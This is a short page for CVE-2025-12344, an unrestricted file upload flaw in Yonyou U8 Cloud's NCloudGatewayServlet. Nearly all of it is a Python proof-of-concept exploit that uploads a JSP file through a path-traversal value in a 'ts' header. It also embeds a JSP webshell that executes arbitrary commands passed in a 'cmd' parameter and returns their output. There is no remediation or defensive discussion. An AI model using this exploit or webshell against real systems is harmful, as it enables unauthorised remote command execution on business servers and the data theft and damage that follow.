CVE-2025-12344: 用友U8 Cloud NCloudGatewayServlet无限制文件上传漏洞

import requests import sys # CVE-2025-12344 PoC - Yonyou U8 Cloud Unrestricted File Upload # Target: /service/NCloudGatewayServlet # Vulnerability: Unrestricted upload via ts/sign parameters def exploit(target_url, webshell_content): """Exploit the unrestricted file upload vulnerability""" # Prepare the malicious file upload files = { 'file': ('shell.jsp', webshell_content, 'application/octet-stream') } # Craft headers with malicious ts/sign parameters headers = { 'User-Agent': 'Mozilla/5.0', 'ts': '../../../../webapps/ROOT/shell.jsp', # Path traversal in parameter 'sign': ' malicious payload' } try: # Send the exploit request response = requests.post( target_url + '/service/NCloudGatewayServlet', files=files, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # Check if upload was successful if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[+] Access shell at: {target_url}/shell.jsp") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") sys.exit(1) target = sys.argv[1] # JSP webshell content webshell = '''<%@ page import="java.io.*" %> <%@ page import="java.util.*" %> <%@ page import="java.text.*" %> <% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while(disr != null) { out.println(disr); disr = dis.readLine(); } } %>''' exploit(target, webshell)